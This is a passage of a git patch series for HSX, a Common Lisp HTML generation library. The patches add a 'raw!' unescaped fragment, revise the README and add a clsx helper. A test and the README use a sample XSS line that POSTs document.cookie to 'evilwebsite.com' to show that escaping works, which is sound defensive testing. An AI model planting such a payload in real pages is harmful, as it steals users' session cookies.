(symbolp head) (not (keywordp head)) - (or (detect-builtin-symbol head) - (detect-component-symbol head))))) - (if (and well-formed-p detected-sym) + (or (detect-builtin-element head) + (detect-component head))))) + (if (and (listp tail) detected-sym) (cons detected-sym (mapcar (lambda (sub-form) (if (consp sub-form) @@ -45,9 +43,10 @@ tail)) form))) -;;;; defhsx macro +;;; defhsx macro (defmacro defhsx (name element-type) + ; Use a macro instead of a function to enable semantic indentation similar to HTML. `(defmacro ,name (&body body) `(%create-element ,',element-type ,@body))) From 19baec2ee0531ad40ee0985d1af7cce7a9c2e539 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Sun, 23 Feb 2025 14:15:05 +0900 Subject: [PATCH 15/23] Update author --- LICENSE | 2 +- README.md | 2 +- hsx.asd | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/LICENSE b/LICENSE index 58acce5..54e8057 100644 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright 2024 skyizwhite +Copyright 2024 Akira Tempaku Copyright 2018 Bo Yao Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: diff --git a/README.md b/README.md index d07a845..cf54ef1 100644 --- a/README.md +++ b/README.md @@ -146,6 +146,6 @@ Generates: This project is licensed under the MIT License. -© 2024 skyizwhite +© 2024 Akira Tempaku © 2018 Bo Yao diff --git a/hsx.asd b/hsx.asd index c5ab13d..7ceed97 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,8 +1,8 @@ (defsystem "hsx" :version "0.4.0" :description "Simple and powerful HTML generation library." - :author "skyizwhite, Bo Yao" - :maintainer "skyizwhite <paku@skyizwhite.dev>" + :author "Akira Tempaku, Bo Yao" + :maintainer "Akira Tempaku <paku@skyizwhite.dev>" :license "MIT" :long-description #.(uiop:read-file-string (uiop:subpathname *load-pathname* "README.md")) From aa1efe72cdee8bc033f63d21bf90cf5016a23d3c Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Fri, 28 Mar 2025 12:47:37 +0900 Subject: [PATCH 16/23] Add raw-fragment --- src/builtin.lisp | 3 ++- src/element.lisp | 29 +++++++++++++---------------- src/utils.lisp | 18 +----------------- tests/element.lisp | 31 +++++++++++++++---------------- tests/utils.lisp | 16 ---------------- 5 files changed, 31 insertions(+), 66 deletions(-) diff --git a/src/builtin.lisp b/src/builtin.lisp index 38f20fe..cdb3e32 100644 --- a/src/builtin.lisp +++ b/src/builtin.lisp @@ -20,4 +20,5 @@ noscript object ol optgroup option output p param picture pre progress q rp rt ruby s samp script section select small source span strong style sub summary sup svg table tbody td template textarea tfoot th - thead |time| title tr track u ul var video wbr <>) + thead |time| title tr track u ul var video wbr + <> raw!) diff --git a/src/element.lisp b/src/element.lisp index 5bc3ea4..5098903 100644 --- a/src/element.lisp +++ b/src/element.lisp @@ -3,15 +3,14 @@ (:import-from #:str #:collapse-whitespaces) (:import-from #:hsx/utils - #:defgroup - #:escape-html-attribute - #:escape-html-text-content) + #:escape-html-text-content + #:escape-html-attribute) (:export #:element #:tag #:html-tag #:self-closing-tag - #:non-escaping-tag #:fragment + #:raw-fragment #:component #:create-element #:element-type @@ -23,12 +22,10 @@ ;;; tag group definitions -(defgroup self-closing-tag - area base br col embed hr img input - link meta param source track wbr) - -(defgroup non-escaping-tag - script style) +(deftype self-closing-tag-sym () + '(member + :area :base :br :col :embed :hr :img :input + :link :meta :param :source :track :wbr)) ;;;; class definitions @@ -49,10 +46,10 @@ (defclass self-closing-tag (tag) ()) -(defclass non-escaping-tag (tag) ()) - (defclass fragment (tag) ()) +(defclass raw-fragment (fragment) ()) + (defclass component (element) ()) ;;;; factory @@ -61,9 +58,9 @@ (make-instance (cond ((functionp type) 'component) ((eq type :<>) 'fragment) + ((eq type :raw!) 'raw-fragment) ((eq type :html) 'html-tag) - ((self-closing-tag-p type) 'self-closing-tag) - ((non-escaping-tag-p type) 'non-escaping-tag) + ((typep type 'self-closing-tag-sym) 'self-closing-tag) ((keywordp type) 'tag) (t (error "element-type must be a keyword or a function."))) :type type @@ -95,7 +92,7 @@ (if children (format stream (if (or (rest children) - (typep (first children) 'element)) + (typep (first children) '(and element (not fragment)))) "~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>" "~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>") type @@ -148,7 +145,7 @@ child)) (element-children element))) -(defmethod render-children ((element non-escaping-tag)) +(defmethod render-children ((element raw-fragment)) (element-children element)) (defmethod expand-component ((element component)) diff --git a/src/utils.lisp b/src/utils.lisp index 0d8c66d..2a1f397 100644 --- a/src/utils.lisp +++ b/src/utils.lisp @@ -5,8 +5,7 @@ #:make-keyword #:symbolicate) (:export #:escape-html-attribute - #:escape-html-text-content - #:defgroup)) + #:escape-html-text-content)) (in-package #:hsx/utils) (defparameter *text-content-escape-map* @@ -41,18 +40,3 @@ (defun escape-html-attribute (str) (escape-string str *attribute-escape-map*)) - -(defun make-keyword-hash-table (symbols) - (let ((ht (make-hash-table))) - (mapcar (lambda (sym) - (setf (gethash (make-keyword sym) ht) t)) - symbols) - ht)) - -(defmacro defgroup (name &body symbols) - (let ((param-name (symbolicate '* name '*)) - (pred-name (symbolicate name '-p))) - `(progn - (defparameter ,param-name (make-keyword-hash-table ',symbols)) - (defun ,pred-name (keyword) - (gethash keyword ,param-name))))) diff --git a/tests/element.lisp b/tests/element.lisp index 211777e..e28667a 100644 --- a/tests/element.lisp +++ b/tests/element.lisp @@ -15,7 +15,6 @@ (ok (typep (create-element :div nil nil) 'tag)) (ok (typep (create-element :html nil nil) 'html-tag)) (ok (typep (create-element :img nil nil) 'self-closing-tag)) - (ok (typep (create-element :style nil nil) 'non-escaping-tag)) (ok (typep (create-element :<> nil nil) 'fragment)) (ok (typep (create-element (lambda ()) nil nil) 'component)) (ok (signals (create-element "div" nil nil)))) @@ -96,21 +95,6 @@ (list :src "/background.png") nil) :pretty t)))) - - (testing "escaping-tag" - (ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>" - (render-to-string - (create-element :div - nil - (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))) - - (testing "non-escaping-tag" - (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" - (render-to-string - (create-element :script - nil - "alert('<< Do not embed user-generated contents here! >>')"))))) - (testing "fragment" (let ((frg (create-element :<> nil @@ -140,6 +124,21 @@ (list "brah")))) :pretty t))))) + + (testing "raw-fragment" + (ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>" + (render-to-string + (create-element :div + nil + (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))) + (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" + (render-to-string + (create-element :script + nil + (create-element :raw! + nil + "alert('<< Do not embed user-generated contents here! >>')")))))) + (testing "minify-props-text" (let ((elm (create-element :div '(:x-data "{ diff --git a/tests/utils.lisp b/tests/utils.lisp index bd6f722..7c39a0d 100644 --- a/tests/utils.lisp +++ b/tests/utils.lisp @@ -12,19 +12,3 @@ (testing "escape-html-text-content" (ok (string= "&<>"'/`=" (escape-html-text-content "&<>\"'/`="))))) - -(defgroup fruit - apple banana) - -(deftest group-util-test - (testing "defgroup" - (ok (expands '(defgroup fruit apple banana) - '(progn - (defparameter *fruit* - (hsx/utils::make-keyword-hash-table '(apple banana))) - (defun fruit-p (keyword) - (gethash keyword *fruit*))))) - (ok (hash-table-p *fruit*)) - (ok (fboundp 'fruit-p)) - (ok (fruit-p :apple)) - (ng (fruit-p :tomato)))) From a8424d2598c011ad4a8e49fdc1fa3675e63c78f5 Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Fri, 28 Mar 2025 15:20:57 +0900 Subject: [PATCH 17/23] Update README.md --- README.md | 277 +++++++++++++++++++++++++++++++----------------------- hsx.asd | 2 +- 2 files changed, 158 insertions(+), 121 deletions(-) diff --git a/README.md b/README.md index cf54ef1..d546227 100644 --- a/README.md +++ b/README.md @@ -1,151 +1,188 @@ -# HSX +# HSX – Hypertext S-expression -HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard) -generation library for Common Lisp. +**HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions. -This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). +> 🚧 **ALPHA NOTICE:** +> This library is still in early development. APIs may change. +> See [release notes](https://github.com/skyizwhite/hsx/releases) for details. -## Warning +## ⚙️ How HSX Works -This software is still in ALPHA quality. The APIs are likely to change. +Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form: -Please check the [release notes](https://code.skyizwhite.dev/paku/hsx/releases) -for updates. +```lisp +(create-element type props children) +``` -## Getting Started - -### Basic Usage - -Use the `hsx` macro to create HTML elements. Attributes are specified using a -property list after the element name, and child elements are nested directly -inside. +For example: ```lisp (hsx - (div :id "example" :class "container" - (h1 "Welcome to HSX") - (p "This is an example paragraph."))) + (article :class "container" + (h1 "Title") + (p "Paragraph") + (~share-button :service :x)) ``` - -This generates: - -```html -<div id="example" class="container"> - <h1>Welcome to HSX</h1> - <p>This is an example paragraph.</p> -</div> -``` - -To convert an HSX object into an HTML string, use the `render-to-string` -function: +Is internally transformed (by macro expansion) into: ```lisp -(render-to-string - (hsx ...)) +(create-element :article '(:class "container") + (list + (create-element :h1 nil (list "Title")) + (create-element :p nil (list "Paragraph")) + (create-element #'~share-button '(:service :x) (list)))) ``` -### Embedding Content +This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions. -HSX allows you to embed Common Lisp forms directly within your HTML structure. +This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way. -When working with HSX elements inside embedded Lisp forms, you should use the -`hsx` macro again. + +## 🚀 Quick Example ```lisp (hsx - (div - (p :id (format nil "id-~a" (random 100))) + (div :id "main" :class "container" + (h1 "Hello, HSX!") + (p "This is a simple paragraph.") (ul - (loop - :for i :from 1 :to 5 :collect - (hsx (li (format nil "Item ~a" i))))) - (if (> (random 10) 5) - (hsx (p "Condition met!")) - (hsx (p "Condition not met!"))))) -``` - -This might generate: - -```html -<div> - <p id="id-42"></p> - <ul> - <li>Item 1</li> - <li>Item 2</li> - <li>Item 3</li> - <li>Item 4</li> - <li>Item 5</li> - </ul> - <p>Condition not met!</p> -</div> -``` - -### Using Fragments - -To group multiple elements without adding an extra wrapper, use the fragment -`<>`. - -```lisp -(hsx - (<> - (h1 "Grouped Elements") - (p "First paragraph.") - (p "Second paragraph."))) -``` - -This generates: - -```html -<h1>Grouped Elements</h1> -<p>First paragraph.</p> -<p>Second paragraph.</p> -``` - -### Creating Components - -You can define reusable components using the `defcomp` macro. Component names -must begin with a tilde (`~`). Properties should be declared using `&key`, -`&rest`, or both. The body must return an HSX element. - -```lisp -(defcomp ~card (&key title children) - (hsx - (div :class "card" - (h1 title) - children))) -``` - -Alternatively, you can use a property list: - -```lisp -(defcomp ~card (&rest props) - (hsx - (div :class "card" - (h1 (getf props :title)) - (getf props :children)))) -``` - -Usage example: - -```lisp -(hsx - (~card :title "Card Title" - (p "This is a card component."))) + (loop for i from 1 to 3 collect + (hsx (li (format nil "Item ~a" i))))))) ``` Generates: ```html -<div class="card"> - <h1>Card Title</h1> - <p>This is a card component.</p> +<div id="main" class="container"> + <h1>Hello, HSX!</h1> + <p>This is a simple paragraph.</p> + <ul> + <li>Item 1</li> + <li>Item 2</li> + <li>Item 3</li> + </ul> </div> ``` -## License +## 📝 Rendering -This project is licensed under the MIT License. +Use `render-to-string` to convert an HSX structure to a string of HTML: -© 2024 Akira Tempaku +```lisp +(render-to-string + (hsx ...)) +``` -© 2018 Bo Yao +## 🔐 Escaping Behavior + +All elements automatically escape special characters in content to prevent XSS and HTML injection: + +```lisp +(hsx + (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")) +``` +Outputs: + +```html +<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div> +``` + +Use the special tag `raw!` to inject trusted, unescaped HTML: + +```lisp +(hsx + (article (raw! "HTML text here ...")) +``` + +## 🧩 Fragments + +Use `<>` tag to group multiple sibling elements without wrapping them in a container tag: + +```lisp +(hsx + (<> + (p "One") + (p "Two"))) +``` + +Outputs: + +```html +<p>One</p> +<p>Two</p> +``` + +Note: `raw!` tag is a fragment that disables HTML escaping for its children. + +## 🧱 Components + +Define reusable components using `defcomp` macro. Component names must start with `~`. + +*Keyword-style* + +```lisp +(defcomp ~card (&key title children) + (hsx + (div :class "card" + (h2 title) + children))) +``` + +*Property-list style* + +```lisp +(defcomp ~card (&rest props) + (hsx + (div :class "card" + (h2 (getf props :title)) + (getf props :children)))) +``` + +### Usage + +```lisp +(hsx + (~card :title "Hello" + (p "This is a card."))) +``` + +Outputs: + +```html +<div class="card"> + <h2>Hello</h2> + <p>This is a card.</p> +</div> +``` + +## 🧬 Logic and Interpolation + +You can freely embed Lisp expressions, conditionals, and loops inside HSX forms: + +```lisp +(hsx + (div + (if (> (random 10) 5) + (hsx (p "High!")) + (hsx (p "Low!"))))) +``` + +Or loop: + +```lisp +(hsx + (ul + (loop :for item :in todo-list :collect + (hsx (li item)))))) +``` + +## 🏷️ Built-in Tags + +All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You don’t need to declare them manually. + +## 📄 License + +MIT License + • © 2024 Akira Tempaku + • © 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project) + diff --git a/hsx.asd b/hsx.asd index 7ceed97..10f33bb 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,5 +1,5 @@ (defsystem "hsx" - :version "0.4.0" + :version "0.5.0" :description "Simple and powerful HTML generation library." :author "Akira Tempaku, Bo Yao" :maintainer "Akira Tempaku <paku@skyizwhite.dev>" From bd136d64af74edc30ebae5a6928612a85d8cb240 Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Fri, 28 Mar 2025 15:20:57 +0900 Subject: [PATCH 18/23] Update README.md # Conflicts: # README.md --- README.md | 21 +++------------------ 1 file changed, 3 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index d546227..8ad47b8 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # HSX – Hypertext S-expression -**HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions. +**HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax. > 🚧 **ALPHA NOTICE:** > This library is still in early development. APIs may change. @@ -35,19 +35,13 @@ Is internally transformed (by macro expansion) into: This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions. -This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way. - - ## 🚀 Quick Example ```lisp (hsx (div :id "main" :class "container" (h1 "Hello, HSX!") - (p "This is a simple paragraph.") - (ul - (loop for i from 1 to 3 collect - (hsx (li (format nil "Item ~a" i))))))) + (p "This is a simple paragraph."))) ``` Generates: @@ -56,11 +50,6 @@ Generates: <div id="main" class="container"> <h1>Hello, HSX!</h1> <p>This is a simple paragraph.</p> - <ul> - <li>Item 1</li> - <li>Item 2</li> - <li>Item 3</li> - </ul> </div> ``` @@ -73,7 +62,7 @@ Use `render-to-string` to convert an HSX structure to a string of HTML: (hsx ...)) ``` -## 🔐 Escaping Behavior +## 🔐 Escaping text All elements automatically escape special characters in content to prevent XSS and HTML injection: @@ -176,10 +165,6 @@ Or loop: (hsx (li item)))))) ``` -## 🏷️ Built-in Tags - -All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You don’t need to declare them manually. - ## 📄 License MIT License From bd5f4d749d843cf5493c39acc96fc8dab39f2e98 Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Fri, 28 Mar 2025 16:23:15 +0900 Subject: [PATCH 19/23] Amend --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 8ad47b8..927bb49 100644 --- a/README.md +++ b/README.md @@ -168,6 +168,8 @@ Or loop: ## 📄 License MIT License - • © 2024 Akira Tempaku - • © 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project) + +© 2024 Akira Tempaku + +© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project) From 91206c9ed0fd9fd314f898967b3e4d27f9074d2f Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Sun, 30 Mar 2025 20:20:17 +0900 Subject: [PATCH 20/23] Amend --- README.md | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 927bb49..b98fe8a 100644 --- a/README.md +++ b/README.md @@ -26,11 +26,17 @@ For example: Is internally transformed (by macro expansion) into: ```lisp -(create-element :article '(:class "container") - (list - (create-element :h1 nil (list "Title")) - (create-element :p nil (list "Paragraph")) - (create-element #'~share-button '(:service :x) (list)))) +(create-element :article + (list :class "container") + (list (create-element :h1 + (list) + (list "Title")) + (create-element :p + (list) + (list "Paragraph")) + (create-element #'~share-button + (list :service :x) + (list)))) ``` This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions. From 79640a16fa01ca35969d6e8bb56d745d8a047738 Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Tue, 1 Apr 2025 01:36:49 +0900 Subject: [PATCH 21/23] Amend --- README.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index b98fe8a..72f9252 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # HSX – Hypertext S-expression -**HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax. +**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax. -> 🚧 **ALPHA NOTICE:** +> 🚧 **BETA NOTICE:** > This library is still in early development. APIs may change. > See [release notes](https://github.com/skyizwhite/hsx/releases) for details. @@ -39,8 +39,6 @@ Is internally transformed (by macro expansion) into: (list)))) ``` -This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions. - ## 🚀 Quick Example ```lisp From 314f7cb2733c5270feed533603ec04e8a2e51cf7 Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Sun, 18 May 2025 19:00:35 +0900 Subject: [PATCH 22/23] Add link to usage example --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 72f9252..a90fd1c 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,8 @@ **HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax. +[Practical usage example](https://github.com/skyizwhite/website) + > 🚧 **BETA NOTICE:** > This library is still in early development. APIs may change. > See [release notes](https://github.com/skyizwhite/hsx/releases) for details. From 22001ef3e229ce9cfb52d3ea30a3b70460dbff04 Mon Sep 17 00:00:00 2001 From: Akira Tempaku <paku@skyizwhite.dev> Date: Mon, 19 May 2025 23:33:22 +0900 Subject: [PATCH 23/23] Add clsx utility --- README.md | 4 ++++ hsx.asd | 2 +- src/main.lisp | 6 ++++-- src/utils.lisp | 6 +++++- 4 files changed, 14 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index a90fd1c..4023a32 100644 --- a/README.md +++ b/README.md @@ -171,6 +171,10 @@ Or loop: (hsx (li item)))))) ``` +## Utils + +- `(clsx &rest strs)`: A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces. + ## 📄 License MIT License diff --git a/hsx.asd b/hsx.asd index 10f33bb..e3fa1f0 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,5 +1,5 @@ (defsystem "hsx" - :version "0.5.0" + :version "0.6.0" :description "Simple and powerful HTML generation library." :author "Akira Tempaku, Bo Yao" :maintainer "Akira Tempaku <paku@skyizwhite.dev>" diff --git a/src/main.lisp b/src/main.lisp index 80f1fab..440bf6d 100644 --- a/src/main.lisp +++ b/src/main.lisp @@ -2,9 +2,11 @@ (:nicknames #:hsx/main) (:use #:cl #:hsx/element - #:hsx/dsl) + #:hsx/dsl + #:hsx/utils) (:import-from #:hsx/builtin) (:export #:hsx #:defcomp - #:render-to-string)) + #:render-to-string + #:clsx)) (in-package :hsx) diff --git a/src/utils.lisp b/src/utils.lisp index 2a1f397..94a3b25 100644 --- a/src/utils.lisp +++ b/src/utils.lisp @@ -5,7 +5,8 @@ #:make-keyword #:symbolicate) (:export #:escape-html-attribute - #:escape-html-text-content)) + #:escape-html-text-content + #:clsx)) (in-package #:hsx/utils) (defparameter *text-content-escape-map* @@ -40,3 +41,6 @@ (defun escape-html-attribute (str) (escape-string str *attribute-escape-map*)) + +(defun clsx (&rest strs) + (format nil "~{~a~^ ~}" (remove nil strs)))